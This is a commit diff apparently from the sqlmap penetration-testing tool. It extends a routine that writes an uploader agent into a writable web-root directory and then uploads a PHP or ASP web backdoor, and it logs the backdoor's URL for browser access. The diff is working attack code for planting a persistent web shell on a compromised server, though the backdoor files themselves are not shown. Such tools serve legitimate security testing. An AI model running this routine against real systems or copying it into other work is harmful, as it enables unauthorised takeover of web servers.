@@ -113,15 +113,14 @@ def __webBackdoorShell(self, backdoorUrl):
113113
114114 def __webBackdoorInit (self ):
115115 """
116- This method is used to write a PHP agent (cmd.php ) on a writable
116+ This method is used to write a web backdoor (agent ) on a writable
117117 remote directory within the web server document root.
118- Such agent is written using the INTO OUTFILE MySQL DBMS
119- functionality
120118 """
121119
122120 self .checkDbmsOs ()
123121
124122 backdoorUrl = None
123+ language = None
125124 kb .docRoot = getDocRoot ()
126125 directories = getDirs ()
127126 directories = list (directories )
@@ -130,11 +129,44 @@ def __webBackdoorInit(self):
130129 infoMsg = "trying to upload the uploader agent"
131130 logger .info (infoMsg )
132131
133- # TODO: backdoor and uploader extensions must be the same as of
134- # the web application language in use
135- backdoorName = "backdoor.php"
132+ message = "which web application language does the web server "
133+ message += "support?\n "
134+ message += "[1] ASP\n "
135+ message += "[2] PHP (default)\n "
136+ message += "[3] JSP"
137+
138+ while True :
139+ choice = readInput (message , default = "2" )
140+
141+ if not choice or choice == "2" :
142+ language = "php"
143+
144+ break
145+
146+ elif choice == "1" :
147+ language = "asp"
148+
149+ break
150+
151+ elif choice == "3" :
152+ # TODO: add also JSP backdoor/uploader support
153+ errMsg = "JSP web backdoor functionality is not yet "
154+ errMsg += "implemented"
155+ raise sqlmapUnsupportedDBMSException , errMsg
156+
157+ #language = "jsp"
158+
159+ #break
160+
161+ elif not choice .isdigit ():
162+ logger .warn ("invalid value, only digits are allowed" )
163+
164+ elif int (choice ) < 1 or int (choice ) > 3 :
165+ logger .warn ("invalid value, it must be 1 or 3" )
166+
167+ backdoorName = "backdoor.%s" % language
136168 backdoorPath = "%s/%s" % (paths .SQLMAP_SHELL_PATH , backdoorName )
137- uploaderName = "uploader.php"
169+ uploaderName = "uploader.%s" % language
138170 uploaderStr = fileToStr ("%s/%s" % (paths .SQLMAP_SHELL_PATH , uploaderName ))
139171
140172 for directory in directories :
@@ -165,25 +197,44 @@ def __webBackdoorInit(self):
165197 logger .info (infoMsg )
166198
167199 # Upload the backdoor through the uploader agent
168- multipartParams = {
169- "upload" : "1" ,
170- "file" : open (backdoorPath , "r" ),
171- "uploadDir" : directory ,
172- }
173- page = Request .getPage (url = uploaderUrl , multipart = multipartParams )
174-
175- if "Backdoor uploaded" not in page :
176- warnMsg = "unable to upload the backdoor through "
177- warnMsg += "the uploader agent on '%s'" % directory
178- logger .warn (warnMsg )
200+ if language == "php" :
201+ multipartParams = {
202+ "upload" : "1" ,
203+ "file" : open (backdoorPath , "r" ),
204+ "uploadDir" : directory ,
205+ }
206+ page = Request .getPage (url = uploaderUrl , multipart = multipartParams )
207+
208+ if "Backdoor uploaded" not in page :
209+ warnMsg = "unable to upload the backdoor through "
210+ warnMsg += "the uploader agent on '%s'" % directory
211+ logger .warn (warnMsg )
179212
180- continue
213+ continue
214+
215+ elif language == "asp" :
216+ backdoorRemotePath = "%s/%s" % (directory , backdoorName )
217+ backdoorRemotePath = os .path .normpath (backdoorRemotePath )
218+ backdoorContent = open (backdoorPath , "r" ).read ()
219+ postStr = "f=%s&d=%s" % (backdoorRemotePath , backdoorContent )
220+ page , _ = Request .getPage (url = uploaderUrl , direct = True , post = postStr )
221+
222+ if "permission denied" in page .lower ():
223+ warnMsg = "unable to upload the backdoor through "
224+ warnMsg += "the uploader agent on '%s'" % directory
225+ logger .warn (warnMsg )
226+
227+ continue
228+
229+ elif language == "jsp" :
230+ # TODO: add also JSP backdoor/uploader support
231+ pass
181232
182233 backdoorUrl = "%s/%s" % (baseUrl , backdoorName )
183234
184- infoMsg = "the backdoor has been successfully uploaded on "
185- infoMsg += "'%s', go with your browser to " % directory
186- infoMsg += "'%s' and enjoy it!" % backdoorUrl
235+ infoMsg = "the backdoor has probably been successfully "
236+ infoMsg += "uploaded on '%s', go with your browser " % directory
237+ infoMsg += "to '%s' and enjoy it!" % backdoorUrl
187238 logger .info (infoMsg )
188239
189240 break
0 commit comments